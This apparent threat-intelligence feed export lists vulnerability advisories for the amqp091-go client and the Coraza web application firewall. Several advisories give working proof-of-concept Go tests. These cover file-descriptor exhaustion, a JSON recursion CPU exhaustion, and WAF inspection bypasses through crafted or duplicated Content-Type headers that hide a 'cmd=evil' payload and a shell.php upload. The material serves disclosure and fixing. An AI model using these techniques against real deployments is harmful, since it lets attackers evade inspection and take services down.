{"success":true,"data":{"threats":[{"id":"3c888ea0-11a9-40f4-9959-bb3c2b1ada91","slug":"cve-2026-107386","externalId":"CVE-2026-107386","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107386 — amqp091-go is a Go AMQP 0.9.1 client.","description":"amqp091-go is a Go AMQP 0.9.1 client. From 1.13.0 until 1.14.0, the frame-size mitigation from the prior allocation advisory can be bypassed before connection.tune completes because Connection.maxFrameSize uses zero for both the not-yet-negotiated and negotiated-unlimited states. A malicious or compromised AMQP peer can send a short body-frame header with a large declared payload length, causing ReadFrame and the body-frame parser to allocate attacker-selected memory before the payload is received or the frame's protocol state is rejected. The condition is reachable through public Open even when Config.FrameSize is set to the protocol minimum and can cause severe memory pressure, out-of-memory termination, or loss of the client process before authentication completes. This issue is fixed in version 1.14.0.","cveId":"CVE-2026-107386","cvssScore":6.3,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":"Go","product":"github.com/rabbitmq/amqp091-go","affectedVersions":["pkg:golang/github.com/rabbitmq/amqp091-go < 1.14.0"],"cwes":["CWE-770"],"tags":["nvd","status:received","osv","osv:ghsa-w6r9-248c-frg8","ecosystem:go","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/rabbitmq/amqp091-go/commit/6723e8cff8710f0a6bf5fb4af375e285052535b3","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/rabbitmq/amqp091-go/pull/377","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/rabbitmq/amqp091-go/releases/tag/v1.14.0","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-w6r9-248c-frg8","type":"advisory","title":"security-advisories@github.com"},{"url":"https://osv.dev/vulnerability/GHSA-w6r9-248c-frg8","type":"advisory","title":"OSV GHSA-w6r9-248c-frg8"},{"url":"https://github.com/rabbitmq/amqp091-go","type":"vendor","title":"OSV package"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T19:17:01.347Z","addedAt":"2026-10-08T19:33:16.983Z","updatedAt":"2026-10-08T23:06:39.094Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107386","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107386","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-W6R9-248C-FRG8"}]},{"id":"d6bbe1a7-c8fe-4f7a-a8a2-6d7b4396c996","slug":"ghsa-rp9v-7xv3-r6g3","externalId":"GHSA-rp9v-7xv3-r6g3","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor","description":"## Summary\n\n`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`, line 69:\n\n```go\nfor {\n    p, err := mr.NextPart()\n    // ...\n    temp, err := os.CreateTemp(storagePath, \"crzmp*\")\n    defer temp.Close() // wrong scope\n    io.Copy(temp, p)\n}\n```\n\nEach iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.\n\nThe body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.\n\nFix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.\n\n## PoC\n\nTested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.\n\nAdd this file at `internal/bodyprocessors/poc_fd_test.go` and run:\n\n```text\ngo test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n\t\"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n\t\"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc countFDs() int {\n\te, _ := os.ReadDir(\"/proc/self/fd\")\n\treturn len(e)\n}\n\nfunc TestMultipartFDLeak(t *testing.T) {\n\tboundary := \"testboundary\"\n\tvar sb strings.Builder\n\tfor i := 0; i < 500; i++ {\n\t\tfmt.Fprintf(&sb, \"--%s\\r\\n\", boundary)\n\t\tfmt.Fprintf(&sb, \"Content-Disposition: form-data; name=\\\"f%d\\\"; filename=\\\"f%d.txt\\\"\\r\\n\", i, i)\n\t\tsb.WriteString(\"\\r\\n\")\n\t\tsb.WriteString(\"X\\r\\n\")\n\t}\n\tfmt.Fprintf(&sb, \"--%s--\\r\\n\", boundary)\n\n\tmp, _ := bodyprocessors.GetBodyProcessor(\"multipart\")\n\tbaseline := countFDs()\n\n\tvar peak int64\n\tdone := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-done:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tn := int64(countFDs())\n\t\t\t\tfor {\n\t\t\t\t\tcur := atomic.LoadInt64(&peak)\n\t\t\t\t\tif n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tv := corazawaf.NewTransactionVariables()\n\tmp.ProcessRequest(strings.NewReader(sb.String()), v,\n\t\tplugintypes.BodyProcessorOptions{\n\t\t\tMime:        \"multipart/form-data; boundary=\" + boundary,\n\t\t\tStoragePath: t.TempDir(),\n\t\t})\n\tclose(done)\n\twg.Wait()\n\n\tt.Logf(\"baseline=%d  peak=%d  spike=+%d\",\n\t\tbaseline, atomic.LoadInt64(&peak),\n\t\tatomic.LoadInt64(&peak)-int64(baseline))\n}\n```\n\nOutput:\n\n```text\nbaseline=7  peak=506  spike=+499\n```\n\nThe spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.\n\n## Impact\n\n- **No authentication required.** Any endpoint that accepts multipart uploads is affected.\n- **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.\n- **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.\n- **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either.\n- **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0"],"cwes":["CWE-400","CWE-772"],"tags":["osv","osv:ghsa-rp9v-7xv3-r6g3","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-rp9v-7xv3-r6g3","type":"advisory","title":"OSV GHSA-rp9v-7xv3-r6g3"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-rp9v-7xv3-r6g3","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/1bc39036e99c88e7de60cf8e6bb55ee4c311223c","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:52:00.000Z","addedAt":"2026-10-08T18:42:41.912Z","updatedAt":"2026-10-08T18:42:41.912Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-rp9v-7xv3-r6g3"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-rp9v-7xv3-r6g3"}]},{"id":"43250143-44be-4f9a-bab7-86084a8972be","slug":"ghsa-w253-m66g-rx24","externalId":"GHSA-w253-m66g-rx24","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: URL-encoded form Content-Type parameters bypass Coraza body inspection","description":"### Summary\n\nCoraza fails to inspect URL-encoded form bodies when their valid `Content-Type` contains a media-type parameter, for example:\n\n```http\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n```\n\nAn unauthenticated attacker can use this header to hide the complete form body from custom Coraza rules that inspect `ARGS_POST` or `REQUEST_BODY`, while the bundled Go HTTP middleware forwards the body and the backend parses it normally.\n\nThis is a deterministic request-body inspection bypass. Suggested severity: **Medium**. Current OWASP CRS includes rule `901340`, which forces fallback inspection and mitigates this path; this report does not claim a bypass of an unmodified current CRS ruleset\n\n### Details\n\nThe affected component is request-body processor selection in [`internal/corazawaf/transaction.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L371-L390).\n\n`Transaction.AddRequestHeader` compares the complete lowercased header value using exact equality:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if val == \"application/x-www-form-urlencoded\" {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 383-390](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L383-L390).\n\nThe media type of `application/x-www-form-urlencoded; charset=UTF-8` remains `application/x-www-form-urlencoded`; `charset` is a parameter. Because Coraza compares the entire header, the comparison fails and `REQBODY_PROCESSOR` remains empty.\n\n`ProcessRequestBody` treats the empty processor as success:\n\n```go\nrbp = strings.ToLower(rbp)\nif rbp == \"\" {\n    tx.WAF.Rules.Eval(types.PhaseRequestBody, tx)\n    return tx.interruption, nil\n}\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 1115-1120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L1115-L1120).\n\nCoraza therefore evaluates phase 2 without parsing the body and without setting `REQBODY_ERROR`. The [URL-encoded processor that normally populates `ARGS_POST`, `REQUEST_BODY`, and `REQUEST_BODY_LENGTH`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/urlencoded.go#L19-L33) is never invoked.\n\nThe [bundled middleware buffers and reconstructs the full request body before invoking the backend](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/http/middleware.go#L69-L97). The backend consequently receives data that was absent from Coraza's body variables.\n\nThe issue exists in the standard compiled implementation; no special build tag is required. Request-body access defaults to Off in an empty configuration, but Coraza's recommended configuration enables it with `SecRequestBodyAccess On`.\n\n### PoC\n\nSave this self-contained test as `parameterized_form_bypass_test.go` in the Coraza repository root:\n\n```go\npackage coraza_test\n\nimport (\n    \"net/http\"\n    \"net/http/httptest\"\n    \"strings\"\n    \"testing\"\n\n    coraza \"github.com/corazawaf/coraza/v3\"\n    corazahttp \"github.com/corazawaf/coraza/v3/http\"\n)\n\nfunc TestParameterizedFormInspectionBypass(t *testing.T) {\n    cfg := coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRequestBodyAccess On\nSecRule ARGS_POST:cmd \"@streq evil\" \"id:910001,phase:2,deny,status:403,t:none\"\n`)\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    backendSaw := \"\"\n    handler := corazahttp.WrapHandler(waf, http.HandlerFunc(\n        func(w http.ResponseWriter, r *http.Request) {\n            if err := r.ParseForm(); err != nil {\n                t.Fatal(err)\n            }\n            backendSaw = r.PostForm.Get(\"cmd\")\n            w.WriteHeader(http.StatusNoContent)\n        },\n    ))\n\n    req := httptest.NewRequest(\n        http.MethodPost,\n        \"http://example.test/\",\n        strings.NewReader(\"cmd=evil\"),\n    )\n    req.Header.Set(\n        \"Content-Type\",\n        \"application/x-www-form-urlencoded; charset=UTF-8\",\n    )\n\n    rec := httptest.NewRecorder()\n    handler.ServeHTTP(rec, req)\n\n    if rec.Code != http.StatusNoContent {\n        t.Fatalf(\"expected request to reach backend, status=%d\", rec.Code)\n    }\n    if backendSaw != \"evil\" {\n        t.Fatalf(\"backend did not receive malicious value: %q\", backendSaw)\n    }\n}\n```\n\nRun:\n\n```bash\ngo test . -run TestParameterizedFormInspectionBypass -v\n```\n\nObserved:\n\n```text\n=== RUN   TestParameterizedFormInspectionBypass\n--- PASS: TestParameterizedFormInspectionBypass (0.00s)\nPASS\n```\n\nThe test passes only when Coraza fails to return its configured 403 response and the backend parses `cmd=evil`.\n\nAs a control, change the header to:\n\n```http\nContent-Type: application/x-www-form-urlencoded\n```\n\nCoraza then selects the URL-encoded processor, exposes `cmd=evil` as `ARGS_POST:cmd`, and returns 403 before the backend runs.\n\n### Impact\n\nThis is a parser differential and request-body inspection bypass affecting applications protected by custom Coraza rules.\n\nAn unauthenticated attacker can add `charset=UTF-8` to an ordinary form request. Coraza then runs phase-2 rules without the submitted parameters and reports no body-processing failure, while the application receives and processes those parameters.\n\nRules relying on these variables are affected on this path:\n\n- `ARGS_POST`\n- `ARGS` for POST-derived values\n- `ARGS_POST_NAMES`\n- `ARGS_NAMES`\n- `REQUEST_BODY`\n- `REQUEST_BODY_LENGTH`\n\nThis defeats custom rules intended to reject injection strings, dangerous commands, or forbidden business values in form fields. The final application impact depends on the backend behavior that the bypassed rule was intended to protect.\n\nAffected operators are those who enable request-body access and rely on automatic URL-encoded parsing without current CRS rule `901340`, `ctl:forceRequestBodyVariable=On`, an explicitly forced processor, or equivalent backend validation.\n\nThe fix is to parse Content-Type according to MIME syntax and compare the normalized media type without parameters, for example with Go's `mime.ParseMediaType`. If an expected body has no processor, Coraza should expose an explicit processing error instead of silently evaluating phase 2 with empty variables.\n\n## Follow-up (2026-09-30): duplicate Content-Type headers desynchronize processor selection from the parsed body\n\nThe original fix made body-processor selection tolerant of media-type parameters (`charset=UTF-8` etc.) by switching from exact equality to `strings.HasPrefix`. A second, distinct gap was found while reviewing that same selection code: it never accounted for a request carrying *more than one* `Content-Type` header.\n\n### Root cause\n\n`Transaction.AddRequestHeader` is called once per header by the integrator (documented contract). Its `content-type` case runs on every call:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if strings.HasPrefix(val, \"application/x-www-form-urlencoded\") {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nA request with two `Content-Type` headers therefore has its body-processor selection silently overwritten by the *last* one, since each call unconditionally calls `Set`. Meanwhile, `ProcessRequestBody` extracts the `mimeType` it passes to whichever processor gets selected from `requestHeaders.Get(\"content-type\")[0]` -- the *first* value (`internal/corazawaf/transaction.go`, a few hundred lines below `AddRequestHeader`) -- and Go's `net/http` `Header.Get` (what a typical backend uses) also returns only the first value. So selection follows the last header while everything else follows the first, and the two can disagree entirely.\n\n### PoC\n\n```http\nContent-Type: multipart/form-data; boundary=XyZ\nContent-Type: application/x-www-form-urlencoded\n```\n\nwith a genuine multipart body containing `cmd=evil` and a `shell.php` file upload. Against commit `19b86824`:\n\n- `reqbodyProcessor` resolves to `\"URLENCODED\"` (the second, spoofed header wins).\n- The URL-encoded processor runs against the raw multipart body text, parses without error, and produces nothing.\n- `ARGS_POST:cmd`, `FILES`, and `FILES_NAMES` are all empty -- the entire payload is invisible to any rule inspecting those variables.\n- The backend (or any integrator using `Header.Get`, which reads the first value) still sees `Content-Type: multipart/form-data` and parses `cmd=evil` and the uploaded `shell.php` normally.\n\nCurrent OWASP CRS includes rule `920620` (`Content-Type` header sanity check via count/format), which catches this shape; the recommended `coraza.conf-recommended` has no equivalent, so a Coraza deployment with only custom rules (no CRS) is exposed.\n\n### Fix\n\nOnly the first `Content-Type` header may set `reqbodyProcessor`: guard the existing logic with `if tx.variables.reqbodyProcessor.Get() == \"\"`. This makes header-driven processor selection consistent with `ProcessRequestBody`'s own `mimeType` extraction and with standard `Header.Get` semantics, without a new field (nothing else can set `reqbodyProcessor` before headers finish processing; `ctl:requestBodyProcessor` and `ForceRequestBodyVariable` both run afterward, in phase 1 rule evaluation and body processing respectively, and are unaffected).\n\nAs defense in depth, a rule author can also detect the anomaly directly today, with no code change: `SecRule &REQUEST_HEADERS:Content-Type \"@gt 1\" \"deny,...\"` -- left as a suggested addition to `coraza.conf-recommended` rather than bundled into this fix, since it is a policy choice (deny vs. flag) rather than a correctness requirement.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, traced the `mimeType`/`Header.Get` first-value asymmetry, wrote and ran a fresh PoC against commit `19b86824` confirming the full bypass (`ARGS_POST`/`FILES`/`FILES_NAMES` all empty), verified the fix closes it, and drafted this addendum.\n- **Review performed:** reproduced by hand against a clean checkout of commit `19b86824` before and after the fix using the real `Transaction` API (`AddRequestHeader` x2, `WriteRequestBody`, `ProcessRequestBody`); confirmed the regression test fails deterministically against the pre-fix code and passes after it; ran the full test suite, the build-tag matrix (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-w253-m66g-rx24/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: only the first `Content-Type` header now selects the body processor (the one a typical backend reads with `Header.Get`), and leading whitespace in the media type, including Unicode whitespace that `net/http` accepts, is trimmed the way `mime.ParseMediaType` trims it. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every form and multipart parser accepts these Content-Type values. The previous vector used Scope Unchanged (5.3).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.4, < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-w253-m66g-rx24","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-w253-m66g-rx24","type":"advisory","title":"OSV GHSA-w253-m66g-rx24"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-w253-m66g-rx24","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/3b6241ef895b089c66a59e51068a81cf40986e4d","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/a55950ffa161f33a29e14f87d926d7df3b85cc74","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/dd100261cf1d2e2b053803a50c9db28dcaaa4b7c","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:53.000Z","addedAt":"2026-10-08T18:42:41.882Z","updatedAt":"2026-10-08T18:42:41.882Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-w253-m66g-rx24"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-w253-m66g-rx24"}]},{"id":"4ccf69b5-0344-4796-b373-1bc11892e91d","slug":"ghsa-3c6w-j9xm-8h2h","externalId":"GHSA-3c6w-j9xm-8h2h","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion","description":"### Summary\n\nThe JSON response body processor parses response bodies with no recursion\nlimit. `ProcessResponse` calls `readJSON(ss, ignoreJSONRecursionLimit)`, and\nthat constant is `-1`. The guard in `readItems` only fires on `== 0`, so\ncounting down from `-1` (-2, -3, ...) never reaches it. The guard is effectively\ndead on the response path. The request path is fine: `ProcessRequest` passes the\nconfigured limit (default 1024). There is no equivalent directive or default for\nresponses.\n\nParsing a deeply nested JSON response is CPU-bound and its cost grows\nquadratically with nesting depth. A 512 KiB response (the default\n`ResponseBodyLimit`) holds about 87,000 nesting levels and takes ~12 s to\nprocess, keeping one core busy the whole time.\n\n### Root cause\n\n`internal/bodyprocessors/json.go`\n\n```go\nconst ignoreJSONRecursionLimit = -1                     // line 51\n\nfunc (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {\n    ...\n    data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1\n}\n\nfunc (js *jsonBodyProcessor) ProcessRequest(...) error {\n    ...\n    data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024\n}\n```\n\nThe guard and the decrement:\n\n```go\nfunc readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {\n    if maxRecursion == 0 {                              // line 106\n        return errors.New(\"max recursion reached while reading json object\")\n    }\n    ...\n    iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126\n```\n\nNote that `ProcessResponse` discards `BodyProcessorOptions` (the parameter is\n`_`), so even a caller that wanted to set a limit on responses has no way to.\n\n### Why the cost is quadratic\n\nEvery nesting level re-parses the remaining nested document through\n`gjson.ForEach`, so total work is O(n²) in the depth. Numbers below were measured\non an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2\n(v3.7.0-55):\n\n```\ndepth   bytes    ProcessResponse time\n5000    30004    30 ms\n10000   60004    119 ms\n20000   120004   456 ms\n40000   240004   2.18 s\n87381   524290   12.09 s\n```\n\nLog-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the\nfull range), which matches quadratic. Roughly 87,000 levels is the most that\nfits inside the default 512 KiB `ResponseBodyLimit`.\n\n### PoC\n\nSave as `internal/bodyprocessors/poc_json_test.go`, then:\n\n```\ngo test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n      \"strings\"\n      \"testing\"\n      \"time\"\n\n      \"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n      \"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n      \"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc nestedJSON(depth int) string {\n      var sb strings.Builder\n      sb.Grow(depth*6 + 4)\n      for i := 0; i < depth; i++ {\n              sb.WriteString(`{\"a\":`)\n      }\n      sb.WriteString(\"null\")\n      for i := 0; i < depth; i++ {\n              sb.WriteByte('}')\n      }\n      return sb.String()\n}\n\nfunc TestPoCJSONResponse(t *testing.T) {\n      proc, _ := bodyprocessors.GetBodyProcessor(\"json\")\n\n      // Request path is bounded, response path is not.\n      body := nestedJSON(5000)\n      v := corazawaf.NewTransactionVariables()\n      errReq := proc.ProcessRequest(strings.NewReader(body), v,\n              plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})\n      errRes := proc.ProcessResponse(strings.NewReader(body), v,\n              plugintypes.BodyProcessorOptions{})\n      t.Logf(\"depth=5000 ProcessRequest  err=%v\", errReq)\n      t.Logf(\"depth=5000 ProcessResponse err=%v\", errRes)\n\n      // Quadratic scaling on the response path.\n      for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {\n              b := nestedJSON(depth)\n              vv := corazawaf.NewTransactionVariables()\n              start := time.Now()\n              proc.ProcessResponse(strings.NewReader(b), vv,\n                      plugintypes.BodyProcessorOptions{})\n              t.Logf(\"depth=%-6d bytes=%-7d time=%v\", depth, len(b), time.Since(start))\n      }\n}\n```\n\nOutput on the reference machine:\n\n```\ndepth=5000 ProcessRequest  err=max recursion reached while reading json object\ndepth=5000 ProcessResponse err=<nil>\ndepth=5000   bytes=30004   time=30.3ms\ndepth=10000  bytes=60004   time=119.3ms\ndepth=20000  bytes=120004  time=456.1ms\ndepth=40000  bytes=240004  time=2.185s\ndepth=87381  bytes=524290  time=12.085s\n```\n\n### Impact\n\nThis needs `ResponseBodyAccess` turned on and a backend that returns JSON\n(`application/json`). Reflection endpoints, download APIs that serve\nuser-supplied content, and JSON error responses that echo back user input are\nall plausible ways to route a nested body back through the WAF.\n\nThe work happens in a single goroutine and is CPU-bound: the body is already in\nmemory, so there is no I/O during the parse. Each such request holds one core\nfor its entire run, about 12 s per 512 KiB body at the default limit. N\nconcurrent requests take N cores. The request path has enforced a recursion\nlimit since v3.3.3; responses never have.\n\n### Suggested fix\n\nBound `ProcessResponse` the same way the request path is bounded: add a\n`ResponseBodyRecursionLimit` directive, or just pass `RequestBodyRecursionLimit`\ninstead of `-1`.","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0"],"cwes":["CWE-674"],"tags":["osv","osv:ghsa-3c6w-j9xm-8h2h","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-3c6w-j9xm-8h2h","type":"advisory","title":"OSV GHSA-3c6w-j9xm-8h2h"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-3c6w-j9xm-8h2h","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:42.000Z","addedAt":"2026-10-08T18:42:42.134Z","updatedAt":"2026-10-08T18:42:42.134Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-3c6w-j9xm-8h2h"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-3c6w-j9xm-8h2h"}]},{"id":"d6764108-209b-4173-ba4b-88116d3e686c","slug":"ghsa-3wr7-993q-jrff","externalId":"GHSA-3wr7-993q-jrff","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: Multipart filename* (RFC 5987) charset restriction lets a decoy filename bypass FILES-based rules","description":"## Summary\n\nCoraza extracts a multipart file upload's filename using Go's standard-library `mime.ParseMediaType`, which only decodes the RFC 5987/6266 extended `filename*` `Content-Disposition` parameter when its declared charset is exactly `us-ascii` or `utf-8`. Any other charset — including `iso-8859-1`, which RFC 5987 explicitly permits — is silently dropped by the stdlib, with no error and no fallback signal. This lets an attacker present one filename to Coraza and a different one to the backend application in the same request.\n\n## Affected variables\n\n`FILES` (documented as *\"the original filenames as submitted by the client in the multipart upload\"*), `FILES_SIZES`, and the file-vs-field routing decision that determines whether a part is tracked as a file at all.\n\n`MULTIPART_FILENAME` is not affected. It is declared in Coraza but is not populated by any code path 